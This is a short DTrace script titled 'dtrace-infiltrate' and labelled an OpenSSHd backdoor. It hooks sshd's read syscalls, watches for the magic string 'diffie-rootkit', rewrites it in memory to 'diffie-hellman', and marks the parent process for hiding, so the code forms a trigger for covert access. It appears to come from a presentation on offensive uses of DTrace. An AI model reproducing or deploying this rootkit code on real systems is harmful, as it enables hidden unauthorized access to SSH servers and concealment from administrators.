dtrace-infiltrate

OpenSSHd Backdoor –
read passwd hook
syscall::read*:entry
/gotpass != 1 && execname == "sshd"/
{
self->ispass = arg1;
}
syscall::read*:return
/self->ispass != 0 && execname == "sshd" && (gotpass != 1) && strstr(copyinstr(self-
>ispass+26,100),"diffie-rootkit") != 0/
{
copyout("diffie-hellman",self->ispass + 26 + index(copyinstr(self->ispass
+26,100), "diffie-rootkit"),strlen("diffie-hellman"));
self->ispass = 0;
hiddenpids[ppid] = 1;
gotpass = 1;
}